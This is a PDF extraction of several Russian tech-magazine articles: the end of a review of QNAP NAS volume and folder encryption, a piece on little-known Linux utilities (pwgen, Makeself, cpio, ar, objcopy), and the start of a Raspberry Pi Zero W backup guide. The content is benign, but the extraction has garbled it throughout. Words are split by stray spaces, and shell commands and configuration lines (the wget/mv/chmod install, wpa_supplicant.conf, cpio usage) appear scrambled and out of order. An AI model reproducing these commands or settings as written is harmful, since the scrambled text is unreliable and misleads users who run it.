раз работ чиков  бло киров ка  зашиф рован ного  тома  не  счи тает ся  рутин ной
опе раци ей и, соот ветс твен но, не нуж дает ся в опти миза ции.

Ключ  шиф рования  мож но  сох ранить  в  файл  с  рас ширени ем  .key,  раз‐ 
мером 256 байт. Спо соб пре обра зова ния клю ча LUKS в содер жимое фай ла
не  иссле довал ся.  Содер жимое  фай ла  меня ется  каж дый  раз  при  его  сох‐ 
ранении,  поэто му  опре делить,  меня ется  ли  ключ  пос ле  изме нения  пароля,
не уда лось.

Раз бло киро вать  том  мож но,  вве дя  пароль  или  пре дос тавив файл  с  клю‐ 
чом.

Раз бло киров ка тома на тес товом устрой стве QNAP TS‐453Be занима ет око ло
пяти минут. Это  еще одно дей ствие,  которое  поль зовате ли  не будут  совер‐ 
шать регуляр но, а посему в опти миза ции не нуж дающееся.

Па роль  шиф рования  мож но  сме нить  через  поль зователь ский  интерфейс.
Сме на  пароля  так же  отно сит ся  к  заняти ям  ред ким  и  потому,  оче вид но,
не нуж дающим ся в опти миза ции. (В скоб ках: и заг рузка NAS тоже отно сит ся
к таким не нуж дающим ся в опти миза ции про цес сам. Мне хотелось бы взгля‐ 
нуть на пол ный спи сок  таких  вещей,  что бы знать  точ но,  что имен но,  с  точ ки
зре ния  раз работ чиков  QTS,  я  не  дол жен  делать  регуляр но.)  Сме на  пароля
тре бует раз монти рова ния зашиф рован ного тома (пять минут) и его пос леду‐ 
юще го  мон тирова ния  (еще  пять  минут).  Ито го  —  десять  минут  на  сме ну
пароля.

Детали реализации
Как  уже  было  ска зано, QNAP  исполь зует  механизм  cryptsetup  и шифр  AES‐
256.  Под робные  инс трук ции  по  мон тирова нию  зашиф рован ных  томов  есть
на стра нице  ; пароль для это го необ ходим.Mounting QNAP encrypted volumes

Па роль поль зовате ля нель зя передать непос редс твен но ути лите cryptset‐
up; он дол жен быть пред варитель но закоди рован ути литой storage_util собс‐ 
твен ной раз работ ки QNAP:

# /sbin/storage_util ‐‐encrypt_pwd pwd=YOUR_PASSWORD
/mqEz2frukTALsHp/ Encrypted passwd is: $1$YCCaQNAP$11Ny1

За коди рован ный пароль мож но ука зать в коман де cryptsetup luksOpen.

# cryptsetup luksOpen /dev/mapper/cachedev1 myencrypteddisk

Аль тер натив ный спо соб — сох ранить пароль в фай ле клю ча:

# /sbin/storage_util ‐‐encrypt_pwd pwd=YOUR_PASSWORD > /tmp/keyfile.
key

Об рати  вни мание:  это  не  тот  ключ,  который  мож но  сох ранить
из веб‐интерфей са QTS! Дан ный ключ исполь зуй сле дующим обра зом:

# cryptsetup ‐v luksOpen /dev/mapper/cachedev1 ce_cachedev1 
‐‐key‐file=/keylocation/keyfile.key ‐‐key‐slot 0

WWW

До пол нитель ную информа цию поищи на форумах
QNAP:
•Cloning  crypto_LUKS  volume  (for  the  day  that  I
remember the password!)

•Howto: Store keyfile on remote device / RTRR be‐
tween encrypted NASes

•TS451+  Can’t  unlock  encrypted  volumes  after
power failure

ШИФРОВАНИЕ СЕТЕВЫХ ПАПОК
Шиф рование  сетевых  папок  появи лось  в  QTS  отно ситель но  недав но.  Под‐ 
держи вает ся  этот  спо соб  шиф рования  толь ко  в  NAS  с  про цес сорами  Intel
(веро ятно,  сюда  вхо дят  и модели с  про цес сорами AMD,  то есть име ет  зна‐ 
чение  архи тек тура  x64).  Изна чаль но  воз можнос ти  соз дать  зашиф рован ную
сетевую  пап ку  на  зашиф рован ном  томе  не  сущес тво вало  и  поль зовате лю
при ходи лось  выбирать,  на  каком  из  двух  типов  шиф рования  оста новить ся.
С недав них пор это огра ниче ние сня ли, и зашиф рован ные пап ки ста ло воз‐ 
можным соз давать и на зашиф рован ных томах — что мы и про верим даль ше.

Основные концепции
Шиф рование  папок  реали зова но  пос редс твом  eCryptFS  и  исполь зует  алго‐ 
ритм AES‐256. Ключ шиф рования соз дает ся еди нож ды на осно ве пароля, ука‐ 
зан ного  поль зовате лем.  Сме нить  пароль  нель зя,  зато  QTS  поз воля ет  рас‐ 
шифро вать  зашиф рован ную  пап ку  или  зашиф ровать  обыч ную.  Таким  обра‐ 
зом, вре мя, тре бующееся для сме ны пароля, находит ся в пря мой зависи мос‐ 
ти от объ ема дан ных в сетевой пап ке и может сос тавить от нес коль ких секунд
до  нес коль ких  дней.  Помимо  пароля,  поль зователь  может  сох ранить  файл
с клю чом шиф рования (файл без рас ширения, 256 байт). Ключ шиф рования
мож но сох ранить на устрой стве (см. раз дел «Сох ранение клю чей»).

Ме ханизм: eCryptFS.•
Шиф рование папок с дан ными: да.•
Рас шифров ка зашиф рован ных папок: да.•
Сме на  или  отзыв  ском про мети рован ного  пароля:  нет.  Поль зовате лю
пред лага ется  сна чала  рас шифро вать,  а  потом  сно ва  зашиф ровать
сетевую пап ку.

•

Клю чи шиф рования: пароль или файл с клю чом.•
По тен циаль ные уяз вимос ти: см. раз дел «Сох ранение клю чей».•

Се тевая  пап ка  может  быть  зашиф рована  как  во  вре мя  соз дания,  так  и  в
любой пос леду ющий момент.

Поль зовате ли могут ска чать файл с клю чом шиф рования. Наз вание фай ла
foldername_keyfile  с  пус тым  рас ширени ем.  Дли на  —  256  байт.  Если  файл
с  клю чом  зап росить  и  ска чать  нес коль ко  раз,  его  содер жимое  будет  отли‐ 
чать ся.

Су щес тву ет воз можность сох ранить ключ на устрой стве для авто мати чес кого
мон тирова ния  зашиф рован ных папок при заг рузке NAS. Это — потен циаль‐ 
ная уяз вимость, под робнее о которой мы погово рим в соот ветс тву ющем раз‐ 
деле.

За шиф рован ные  пап ки  мож но  бло киро вать  и  раз бло киро вать  в  любой
момент.  Мон тиру ются  и  раз монти руют ся  зашиф рован ные  сетевые  пап ки
прак тичес ки мгно вен но.

Ис поль зование  eCryptFS  нак ладыва ет  ряд  огра ниче ний,  о  некото рых  из  них
QTS пре дуп редит поль зовате ля.

А  вот  о  том,  что  огра ниче ния  каса ются  и  дли ны фай ла,  сис тема  не  пре дуп‐ 
режда ет. Срав ни с сооб щени ем, которое выда ет Synology DSM.

Я про верил: фай лы, дли на имен которых пре выша ет  ука зан ные циф ры, соз‐ 
дать в зашиф рован ной пап ке не уда лось.

КАК МНОГОСЛОЙНОЕ ШИФРОВАНИЕ ВЛИЯЕТ НА
ПРОИЗВОДИТЕЛЬНОСТЬ
QNAP — единс твен ный из извес тных мне про изво дите лей, под держи вающих
в  пот ребитель ских  моделях  мно гос лой ное  шиф рование.  Попыт ка  смон‐ 
тировать зашиф рован ную пап ку при заб локиро ван ном зашиф рован ном томе
ожи даемо окон чилась ошиб кой; так и дол жно быть.

Что  про изой дет  с  про изво дитель ностью,  если  вклю чить  одновре мен но
и шиф рование тома, и шиф рование сетевых папок? Я про верил: ничего осо‐ 
бо страш ного не про исхо дит, по  край ней мере при исполь зовании  гигабит‐ 
ного сетево го лин ка.

Обыч ная сетевая пап ка на обыч ном томе
Чте ние: 96 Мбайт/с, запись: 115 Мбайт/с

Обыч ная сетевая пап ка на зашиф рован ном томе
Чте ние: 96 Мбайт/с, запись: 107 Мбайт/с

За шиф рован ная сетевая пап ка на зашиф рован ном томе
Чте ние: 96 Мбайт/с, запись: 95 Мбайт/с (наб людались пиковые ско рос ти око‐ 
ло 100 Мбайт/с)

Мне слож но ска зать, что имен но в сис теме не поз волило ско рос ти чте ния
под нять ся  сверх  96 Мбайт/с,  одна ко  по  ско рос ти  записи  мож но  наб людать
эффект,  который ока зыва ет  на  ско рость  дис ковой  под систе мы  каж дый  пос‐ 
леду ющий  слой  шиф рования.  С  моей  точ ки  зре ния,  негатив ное  вли яние
на  ско рость  дис ковых  опе раций  отно ситель но  невели ко  даже  при  исполь‐ 
зовании зашиф рован ных папок на зашиф рован ном томе.

СОХРАНЕНИЕ КЛЮЧА
«Сох ранение  клю ча  шиф рования  может  при вес ти  к  несан кци они рован ному
дос тупу  к  дан ным,  если  пос торон ний  пер сонал  смо жет  физичес ки  получить
дос туп к NAS». Это пре дуп режде ние находит ся на каж дой стра нице докумен‐ 
тации  QNAP,  где  упо мина ется  сох ранение  клю ча  шиф рования.  Об  этом  же
писал и я в статье «

».
Ды рявые дис ки. Экс плу ати руем уяз вимос ти в сетевых хра‐ 

нили щах Synology
Клю чи  шиф рования  мож но  сох ранять  для  всех  под держи ваемых  устрой‐ 

ством типов защиты — от SED до шиф рования сетевых папок вклю читель но.
При  этом  не  пре дус мотре но  воз можнос ти  сох ранить  ключ  на  USB‐накопи‐ 
теле, защитив его допол нитель но паролем, как это сде лано в Synology. Ключ
всег да сох раня ется на устрой стве. Где имен но? «Сек рет». Такова офи циаль‐ 
ная  позиция  раз работ чиков  QTS.  Как  извес тно,  security  through  obscurity —
прек расная  кон цепция,  никог да  не  дающая  сбо ев;  имен но  ее  при дер жива‐ 
ется ком пания QNAP в воп росе шиф рования дан ных. Впро чем, в моем слу чае
кон цепция сра бота ла: дваж ды (до и пос ле сох ранения клю ча) заг ружать NAS
с USB‐накопи теля и соз давать образ хра нили ща DOM мне было откро вен но
лень, поэто му сек ретное мес то, в котором сох раня ются клю чи, так и оста лось
сек ретным.

ЗАКЛЮЧЕНИЕ
В  сетевых  хра нили щах  QNAP  реали зова на  мно гос лой ная  защита,  которая
поз воля ет  убе речь ся  от  более  широко го  спек тра  угроз,  чем  любой  единс‐ 
твен ный  слой.  В  све жих  сбор ках  QTS  поль зовате лю  боль ше  не  при ходит ся
выбирать  меж ду  шиф ровани ем  тома  и  шиф ровани ем  сетевых  папок —  две
эти  воз можнос ти,  которые  защища ют  от  раз ных  сце нари ев  угроз,  мож но
исполь зовать одновре мен но. Аппа рат ное шиф рование дис ка SED эффектив‐ 
но  защища ет  дан ные  в  слу чае,  если  диск  тре бует  гаран тий ного  обслу жива‐ 
ния,  и  обес печива ет  мгно вен ное  безопас ное  унич тожение  дан ных.  Шиф‐ 
рование  тома  дос тига ет  ана логич ной  цели  в  кон фигура циях  с  нес коль кими
дис ками, а так же в слу чаях, ког да SED недос тупен. Пос ледний уро вень, шиф‐ 
рование сетевых папок, защища ет дан ные каж дого ресур са или поль зовате ля
по  отдель нос ти,  поз воляя  адми нис тра торам  соз давать  зашиф рован ные
резер вные копии зашиф рован ных папок для всех поль зовате лей, не сох раняя
и не переда вая клю чей шиф рования.

mailto:aoleg@voicecallcentral.com
https://forum.qnap.com/viewtopic.php?t=143731
https://www.linux-howto.info/mount-qnap-encrypted-volume/
https://forum.qnap.com/viewtopic.php?t=158116
https://forum.qnap.com/viewtopic.php?t=121510
https://forum.qnap.com/viewtopic.php?t=147125
https://xakep.ru/2019/12/06/5yn01o9y/
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ТРЮКИ

В Linux есть ряд инс тру мен тов с инте рес ной судь бой: поч ти
все хоть раз видели резуль тат их работы, но мало кто зна ет,
чем  это  было  сде лано.  В  этой  статье  мы  рас смот рим  нес‐ 
коль ко таких ути лит.

ГЕНЕРАТОР ПАРОЛЕЙ
Ге нера торов  паролей  сей час  в  избытке.  Осо бен но  удив ляет  мно жес тво
веб‐при ложе ний  для  этой  цели.  Сер вис    чес тно  приз нает ся,  что
генери рует пароли на сто роне сер вера и исполь зовать их для чего‐то серь‐ 
езно го  про тиво пока зано.  Дру гие  сер висы  заяв ляют,  буд то  генери руют
пароли  локаль но  с  помощью  JavaScript,  но  сто ит  ли  верить  им  на  сло во
и  гаран тиру ет  ли их под ход,  что  уте чек мож но не опа сать ся, — воп рос неп‐ 
ростой.

random.org

В то же вре мя генера тор слу чай ных паролей при сутс тву ет в репози тори ях
всех  дис три бути вов  Linux  еще  с  девянос тых  и  называ ется  .  Мно гие
пароли,  которые  ты  получал  в  сво ей  жиз ни,  с  боль шой  веро ятностью  сге‐ 
нери ровал имен но он.

pwgen

Что  инте рес но,  его  автор —  ,  тот  самый,  который  раз работал
фай ловую сис тему ext2 и ее жур налиру емые вер сии ext3 и ext4.

Те одор Цо

К  при меру,    сге нери рует  один  пароль  из  шес тнад цати  сим‐ 
волов.

pwgen  16  1

pwgen 16 1 $ 
iy1naeZeeNguchae 

Ес ли  не  ука зывать  вто рой  аргу мент  (количес тво  паролей),  то  по  умол чанию
в инте рак тивном режиме pwgen сге нери рует целых восемь десят паролей —
четыре колон ки по двад цать строк. По замыс лу авто ров, это дол жно защитить
поль зовате ля от любите лей заг лядывать в чужой экран. Поль зователь генери‐ 
рует  целую  таб лицу  паролей  и  копиру ет  или  запоми нает  из  нее  один  про‐ 
изволь но. В этом слу чае зло умыш ленник или не в меру любопыт ный кол лега
по офи су никак не смо жет  узнать,  какой пароль из вось ми десят ков выб рал
поль зователь. Во вре мена мас совой уда лен ной работы этот аргу мент кажет‐ 
ся нес коль ко натяну тым, да и вызыва ет сом нения,  что пароли  так  уж прос то
запом нить.

В  сов ремен ных  усло виях  куда  полез нее  опция  ,  которая
генери рует пол ностью слу чай ные пароли без пре тен зий на удо бочи таемость.
К  ней  же  мож но  добавить  ,  которая  исклю чает  из  вывода
похожие на вид сим волы вро де   и  .

‐s/‐‐secure

‐B/‐‐ambiguous
O/0 1/I

 16 1 $ pwgen ‐sB
PiVRps3erAngsmeb 

САМОРАСПАКОВЫВАЮЩИЕСЯ АРХИВЫ
Проп риетар ные  прог раммы  для  Linux  неред ко  рас простра няют ся  в  виде
исполня емых  уста нов щиков.  Таким  спо собом  их  авто ры  избе гают  необ‐ 
ходимос ти  собирать  более  чем  один  фор мат  пакета.  Прог раммы  на  плат‐ 
формен но  незави симых  язы ках  вро де  Java  так же  могут  исполь зовать  один
гра фичес кий уста нов щик на всех ОС — раз лича ется спо соб его запус ка.

Та ким спо собом рас простра нялись пакеты с драй верами NVIDIA, некото‐ 
рые  игры,  зна читель ная  часть  пакетов Sun Microsystems  / Oracle  (NetBeans,
SunStudio и дру гие). Чаще все го у них было рас ширение  , иног да прос то

.
.run

.sh
Как  пра вило,  такой  уста нов щик  пред став ляет  собой  саморас паковы‐ 

вающий ся  архив.  На  Windows  монолит ные  уста нов щики  и  саморас паковы‐ 
вающиеся архи вы обыч но содер жали дво ичный код прог раммы для рас паков‐ 
ки архи ва. UNIX‐подоб ные ОС всег да вклю чают в себя как минимум tar и gzip,
как тре бует стан дарт POSIX, поэто му мож но обой тись скрип том на стан дар‐ 
тном же Bourne shell.

Я  дол го  думал,  что  инс тру мен ты  для  соз дания  этих  уста нов щиков  тоже
проп риетар ные. Так бы я и думал, если бы не нат кнул ся на сво бод ные про‐ 
екты  с  такими  же  уста нов щиками.  Соз дателем  этих  пакетов  ока зал ся  один
и тот же инс тру мент с откры тым исходным кодом —  .Makeself

Makeself  пред став ляет  собой  срав нитель но  неболь шой  скрипт.  Как  ни
стран но, авто ры до сих пор его не заб росили, и в пос ледних вер сиях Makeself
под держи вает  сжа тие  с  помощью  xz  и  кон троль ные  сум мы SHA‐256  вмес то
тра дици онных gzip и MD5.

Мож но  даже  не  уста нав ливать  его,  а  прос то  ско пиро вать  фай лы 
  и    в  каталог  про екта.  Про демонс три рую

на  прос том  при мере.  Нам  пот ребу ется  целевой  файл  (условно  )
и скрипт уста нов ки, который будет выпол нять ся пос ле рас паков ки во вре мен‐ 
ный каталог.

make‐
self.sh makeself‐header.sh

test.sh

 

 

├── makeself‐header.sh 
├── makeself.sh 
└── my‐package 
    ├── setup.sh 
    └── test.sh

Про цесс уста нов ки пол ностью на совес ти поль зовате ля. Для прос тоты огра‐ 
ничим ся копиро вани ем в  . Скрипт выпол няет ся в катало ге с рас пакован‐ 
ными фай лами, поэто му все пути будут отно ситель ными.

/tmp

#!/bin/sh
test.sh /tmp/ cp 

Те перь соз дадим наш уста нов щик. Син таксис коман ды:

makeself.sh <каталог с файлами> <имя выходного файла> <название 
проекта> <команда для выполнения после распаковки> 

Путь к коман де для выпол нения пос ле рас паков ки тоже пишет ся отно ситель‐ 
но  катало га  с  рас пакован ными фай лами.  Это  единс твен ный  тон кий  момент
в  работе  с  Makeself.  Имен но  поэто му  мы  помес тили  скрипт 
в  каталог  с  фай лами  для  упа ков ки — Makeself  вос при нима ет  этот  аргу мент
имен но как коман ду, а не встра ивает скрипт в заголо вок уста нов щика.

setup.sh

 

 

 

 

 

 

 
Header is 678 lines long
$ ./makeself.sh ./my‐package/ my‐package.run "My Package" "./setup.sh"

About to compress 12 KB of data... 
Adding files to archive named "my‐package.run"... 
./setup.sh 
./test.sh 
CRC: 2448166092 
MD5: f46655bb0b96ea7bee4d1f6f112eebe4

Self‐extractable archive "my‐package.run" successfully created.

 
Verifying archive integrity...  100%   MD5 checksums are OK. All good. 
Uncompressing My Package  100%

$ ./my‐package.run

 
/tmp/test.sh: POSIX shell script, ASCII text executable
$ file /tmp/test.sh

Есть ли смысл исполь зовать Makeself во вре мена snap, Flatpak и AppImage? Я
вижу два вари анта, ког да Makeself все еще акту ален. Пер вый — рас простра‐ 
нение само уста нав лива ющих ся хот фиксов в осо бых слу чаях, ког да нор маль‐ 
ный  пакет  соб рать  невоз можно  или  нераци ональ но.  Вто рой  —  под дер жка
проп риетар ных  ОС.  Скрип ты  Makeself  с  опци ями  по  умол чанию  будут
работать на любой POSIX‐сов мести мой сис теме, поэто му, если от тебя тре‐ 
буют  уста нов щик  для  Solaris  или  HP‐UX,  это  самый  прос той  спо соб  их  соз‐ 
дать.

МАЛОИЗВЕСТНЫЕ ФОРМАТЫ АРХИВОВ
Не кото рые  фор маты  архи вов  прош ли  через  пик  популяр ности  и  оста лись
в прош лом. В UNIX  тра дици онно для соз дания архи ва  (то есть объ еди нения
нес коль ких фай лов в один) и для сжа тия исполь зовались раз ные инс тру мен‐ 
ты.  Из‐за  это го  инс тру мен ты  сжа тия  могут  появ лять ся  и  уста ревать,
не  вызывая  проб лем, —  нет  пот ребнос ти  оставлять  под дер жку  уста рев ших
алго рит мов  в  новых  архи вато рах.  Если  и  понадо бит ся  рас паковать  дан ные
ста рым алго рит мом, всег да мож но пос тавить отдель ную ути литу.

Ес ли в ходе архе оло гичес ких рас копок тебе попадет ся файл  , мож‐ 
но пос тавить   и выпол нить  ,  пос ле  чего
пот ребу ется  толь ко  стан дар тный  .  В  дру гих  слу чаях  ори гиналь ный  алго‐ 
ритм   никому в голову не при дет.

.tar.Z
ncompress compress ‐d file.tar.Z

tar
LZW

Иное  дело  с  собс твен но  фор матами  архи вов.  В  отли чие  от  алго рит мов
сжа тия, спо собы соб рать один файл из нес коль ких слож но срав нивать меж ду
собой. Фор мат  ZIP  не  под держи вает  пра ва  фай лов,  а  tar —  под держи вает,
в этом смыс ле tar.gz луч ше ZIP. При этом при думать фор мат, который был бы
объ ективно и бес спор но луч ше tar, дос таточ но слож но.

Од нако  есть  фор мат  фай ла,  а  есть  инс тру мен ты  для  работы  с  ним.
И  поведе ние  tar,  и  фор мат  соз дава емых  фай лов  стан дарти зова ны  в  POSIX,
что и дела ет его популяр ным на всех UNIX‐подоб ных сис темах. К тому же ути‐ 
лита    дос таточ но  удоб на  в  исполь зовании.  По  край ней  мере, 
и   быс тро запоми нает каж дый поль зователь.

tar tar  cvf
tar xvf

cpio
Ты  уди вишь ся,  но  tar  —  это  не  самый  рас простра нен ный  фор мат  архи вов
в Linux. Сре ди поль зовате лей — да, но боль ше все го дан ных хра нит ся в фор‐ 
мате  , с которым ред ко при ходит ся работать вруч ную.cpio

Поч ти  на  каж дой  машине  с  Linux  есть  файл  в  этом  фор мате,  пос коль ку
имен но  его  ядро  исполь зует  для  initrd  (initial  RAM  disk).  Его  же  исполь зует
фор мат пакетов RPM. Как  говорит  ,  опре деля ющим фак‐ 
тором была прос тота фор мата.

до кумен тация ядра

А вот поль зовать ся ути лита ми, которые с ним работа ют, сов сем не прос то.
Вот как надо вызывать ути литу cpio, что бы соз дать архив:

     /path/to/archive.cpio find /path/to/dir ‐depth ‐print | cpio ‐o >

Для  скрип та  сбор ки —  сой дет,  даже  в  чем‐то  удоб но.  Для  руч ного  исполь‐ 
зования...    явно  про ще  и  пок рыва ет  боль шую  часть  пот ребнос тей
поль зовате ля.

tar  cvf

ar
Дру гой  рас простра нен ный  фор мат,  который  ник то  не  исполь зует  нап‐ 
рямую, —  . Его реали зация вхо дит в сос тав пакета GNU Binutils. Как он ока‐ 
зал ся  в  пакете  с  ути лита ми  для  работы  с  исполня емы ми  фай лами?  Дело
в том, что он исполь зует ся для соз дания ста тичес ких биб лиотек.

ar

Ни како го осо бен ного фор мата «ста тичес кой биб лиоте ки» в ELF не сущес‐ 
тву ет. Каж дый файл с исходным кодом ком пилиру ется в отдель ный объ ектный
файл  в  том  же фор мате  ELF. Фай лы  вро де   —  это  на  самом  деле
архи вы в фор мате ar, которые содер жат нес коль ко объ ектных фай лов. Таким
обра зом, поль зователь может писать 

.

libfoo.a

gcc ‐o myprog myprog.o /usr/lib/
foo/static/libfoo.a

Вто рой  поль зователь  это го  фор мата  —  пакет ный  менед жер  dpkg.  Если
файл   — это сжа тый cpio, то   — сжа тый ar..rpm .deb

ВНЕШНИЕ ОТЛАДОЧНЫЕ СИМВОЛЫ
Один из пер вых уро ков начина юще го раз работ чика для UNIX: хочешь сде лать
исполня емый  файл  мень ше —  выпол ни  .  Ценой  потери  воз‐ 
можнос ти работы с ним в отладчи ке, конеч но.

strip  myfile

Со  вре менем  начина ющий  обя затель но  уви дит  в  репози тори ях  пакеты
с внеш ними отла доч ными сим волами. Как они дела ются? С помощью ути литы

 из Binutils.objcopy
Рас смот рим на при мере тра дици онной прог раммы Hello world.

#include <stdio.h>

   int main(void) {
 printf("hello world\n");
}

Ском пилиру ем исполня емый файл с отла доч ной информа цией.

 

 

 
 

./hello: ELF 64‐bit LSB executable, x86‐64, version 1 (SYSV), dynamical‐
ly linked, interpreter /lib64/ld‐linux‐x86‐64.so.2, 
BuildID[sha1]=a8e65e032c2a154eecc1ed609aac1a1687e5c2fd, for GNU/Linux 
3.2.0, with debug_info, not stripped

$ gcc ‐g ‐o hello ./hello.c
[dmbaturin@careless makeself‐test]$ file ./hello

Те перь извле чем отла доч ные сим волы во внеш ний файл   и уда‐ 
лим их из исходно го.

hello.debug

 

 

 

 

$ objcopy ‐‐only‐keep‐debug ./hello hello.debug

 
./hello.debug: ELF 64‐bit LSB executable, x86‐64, version 1 (SYSV), dy‐
namically linked, interpreter  , BuildID[sha1]=a8e65e032c2a154eec‐
c1ed609aac1a1687e5c2fd, for GNU/Linux 3.2.0, with debug_info, not 
stripped

$ file ./hello.debug

empty

 
    statically linked
$ ldd ./hello.debug

Ес ли  запус тить  исходный  файл  в  отладчи ке  GDB,  мы  получим  сооб щение
об отсутс тву ющих отла доч ных сим волах. Но если заг рузить сим волы  коман‐ 
дой  , мы смо жем отла живать его как обыч но.symbol‐file hello.debug

 

 

 

 

 

 

 
GNU gdb (GDB) Fedora 9.1‐6.fc32
$ gdb ./hello

For help, type "help". 
Type "apropos word" to search for commands related to "word"... 
Reading symbols from ./hello... 
(No debugging symbols found in ./hello)

(gdb) symbol‐file hello.debug 
Reading symbols from hello.debug...

(gdb) b main 
Breakpoint 1 at 0x40112a: file ./hello.c, line 4. 
(gdb) r 
Starting program: /home/dmbaturin/tmp/hello

Breakpoint 1, main () at ./hello.c:4 
4     printf("hello world\n"); 
(gdb)

ЗАКЛЮЧЕНИЕ
Впол не  воз можно,  что  ни  один  из  этих  инс тру мен тов  тебе  не  при годит ся.
А может, как раз их тебе и не хва тало или не хва тает тому, кто зав тра при дет
к тебе с воп росом «а чем сде лали вот этот файл?». В любом слу чае о них луч‐ 
ше знать, чем не знать!

mailto:daniil@baturin.org
https://www.random.org/passwords/
https://sourceforge.net/projects/pwgen/
https://en.wikipedia.org/wiki/Theodore_Ts%27o
https://makeself.io/
https://ncompress.sourceforge.io/
https://en.wikipedia.org/wiki/Lempel%E2%80%93Ziv%E2%80%93Welch
https://en.wikipedia.org/wiki/Cpio
https://github.com/torvalds/linux/blob/master/Documentation/filesystems/ramfs-rootfs-initramfs.rst
https://en.wikipedia.org/wiki/Ar_(Unix)
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ТРЮКИ

Прос нись,  самурай,  вре мя  делать  бэкапы
баз  дан ных!  Но  что бы  не  разорить ся
на  плат ных  сер висах,  я  покажу,  как  прев‐ 
ратить  Raspberry  Pi  Zero  W  за  условные
$10 в лич ную бэкап‐машину, которая будет
заливать фай лы в бес плат ный Google Drive.

Вот что нам сегод ня понадо бит ся:
Raspberry Pi Zero W (при дет ся купить);•
ка бель micro USB (у тебя он уже валя ется где‐то);•
порт USB, выда ющий минимум 1 А  (в любом ком пе  такой есть, да и кир‐ 
пичик‐заряд ка от ста рого телефо на у тебя тоже где‐то валя ется);

•

кар точка  microSD  (опять  же,  при берись  на  пол ках,  там  валя ется
минимум 4 Гбай та памяти).

•

Идея  в  том,  что бы  один  раз  пот ратить ся  на  малин ку  и  получить  пол ностью
авто ном ный девайс, который мож но вру бить куда угод но — и он будет делать
что‐нибудь полез ное. Нап ример, бэкапы базы дан ных.

ГОТОВИМ RASPBERRY PI
Сна чала ска чай прог рамму   и образ   без рабоче го
сто ла. Рабочие сто лы?! Там, куда мы нап равля емся, не нуж ны рабочие сто лы!

Etcher Raspberry Pi OS  lite

INFO

Я все это запус каю на macOS, но дей ствия, опи‐ 
сан ные в этом руководс тве, при мени мы и на дру‐ 
гих опе раци онных сис темах.

Вставь  microSD‐кар точку  в  компь ютер,  запус ти  Etcher  и  залей  ска чан ный
образ Raspberry Pi OS на кар точку.

Дос тань кар точку и вставь обратно. Она дол жна появить ся дис ком под име‐ 
нем  .boot

Вот так выг лядит этот самый «Linux»

Пе ред  тем  как  запихи вать  кар точку  в малину,  нам нуж но нем ного нас тро ить
опе раци онку. Давай нас тро им под клю чение к бес про вод ному интерне ту.

Фай лы  обя затель но  редак тируй  какой‐нибудь  тул зой  типа    или  ,
что бы  не  накося чить  с  тек сто вой  кодиров кой  условным  встро енным  в  ОС
блок нотом. Соз дай файл с наз вани ем   пря мо в  кор не
кар точки. Содер жание это го фай ла дол жно быть сле дующим.

nano vim

wpa_supplicant.conf

=country DE
= =/ / /   =ctrl_interface DIR var run wpa_supplicant GROUP netdev
=update_config 1

={ network
  =ssid "мой_вайфай"
  =scan_ssid 1
  =psk "пароль_от_вайфая"
  = ‐key_mgmt WPA PSK
} 

Ко неч но,  замени    и    на  наз вание  и  пароль
от  сво ей  сети WiFi.  Нас коль ко  я  понял,  эта  вер сия малины  работа ет  толь ко
с бес про вод ными сетями 2,4 ГГц.

мой_вайфай пароль_от_вайфая

Да лее  вклю чи  SSH  на  малине,  так  как  управлять  мы  ей  будем  имен но
по SSH. Соз дай пус той файл в кор не кар точки с име нем  . Можешь исполь‐ 
зовать коман ду  .

ssh
$ touch ssh

Вот  и  все!  Малина  нас тро ена.  Вставь  кар точку  в  малину  и  под клю чи  ее
к питанию! Убе дись,  что питание  ты под клю чаешь в разъ ем с помет кой  .
Пер вый запуск малины зай мет при мер но 90 секунд, ей нуж но про вес ти пер‐ 
воначаль ную нас трой ку.

PWR

ПОДКЛЮЧАЕМСЯ К МАЛИНЕ
Те перь  тебе  нуж но  узнать  IP‐адрес  малины. Можешь  вос поль зовать ся  бес‐ 
плат ной  прог раммой    на  macOS  или  любым  ана логом  типа 
на дру гих плат формах. Най ди адрес с име нем девай са типа raspberry pi.

LanScan nmap

Те перь ты можешь под клю чить ся пря мо к малине! И все по воз духу! Под клю‐ 
чись  к  поль зовате лю    со  стан дар тным  паролем  . Можешь  вос‐ 
поль зовать ся коман дой  .

pi raspberry
$ ssh pi@{IP_малины}

Для  безопас ности  поменяй  стан дар тный  пароль  коман дой 
. Пос ле переза пус ти малину коман дой  .

$  sudo  raspi‐
config $ sudo shutdown ‐r now

В прин ципе, можешь не вык лючать вход на малину по паролю, если малина
никог да не будет дос тупна из интерне та. Но если хочешь на 100 % обе зопа‐ 
сить свои бэкапы, то вклю чи вход по SSH толь ко по клю чам, соз дав файл 

  на  малине  с  SSH‐клю чом,  а  пос ле  перезаг рузи
малину.

~/.
ssh/authorized_keys

Ну  и  не  забудь  выс тавить    в  фай ле  нас трой ки
SSH —  !

PasswordAuthentication  no
/etc/ssh/ssh_config

Те перь ты офи циаль но в малине. Вре мя писать скрип ты бэкапа!

Продолжение статьи →

mailto:nikita@borodutch.com
https://www.balena.io/etcher/
https://www.raspberrypi.org/downloads/raspberry-pi-os/
https://apps.apple.com/us/app/lanscan/id472226235?mt=12
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ТРЮКИ  НАЧАЛО СТАТЬИ←

ЗАВИСИМОСТИ БЭКАП-СКРИПТА
Скрипт будет край не прос тым. Будем исполь зовать тул зу  , что бы
заб рать всю информа цию из базы дан ных в одну папоч ку, а потом тул зу  ,
что бы залить всю пре лесть на Google Drive. Про ще пареной репы!

mongodump
drive

За пус ти сле дующие коман ды на малине для уста нов ки  .drive

wget https://github.com/odeke‐
em/drive/releases/download/v0.3.9/drive_armv6 
$ 

drive_armv6 /usr/bin/gdrive $ sudo mv 
 +x /usr/bin/gdrive $ sudo chmod

За меть, что мы уста нав лива ем тул зу имен но для архи тек туры ARMv6. Теперь
можешь  написать    на  малине,  что бы  убе дить ся,  что  все
сра бота ло.

$  gdrive  version

Те перь тебе нуж но нас тро ить  , что бы он смог работать с опре делен ной
пап кой.  Соз дай  пап ку  для  бэкапов  коман дой    и  пос ле
запус ти коман ду  , что бы зас тавить   син хро‐ 
низи ровать эту пап ку. Скрипт выдаст тебе ссыл ку, нуж но будет авто ризо вать‐ 
ся  в  сер висе  через  бра узер  (уже  на  сво ем  ком пе,  отку да  под клю чал ся
к малине).

drive
$  mkdir  ~/backups

$ gdrive init ~/backups drive

Мо жешь  про верить  нас трой ку,  про писав  коман ду 
. Дол жно выдать твои клю чи авто риза ции.

$  cat  ~/.gd/creden‐
tials.json

INFO

Ес ли  ты исполь зуешь  какую‐то  дру гую базу  дан‐ 
ных, а не Mongo, то про игно рируй все до сек ции
«Заг ружа ем дамп базы дан ных в обла ко». Прос то
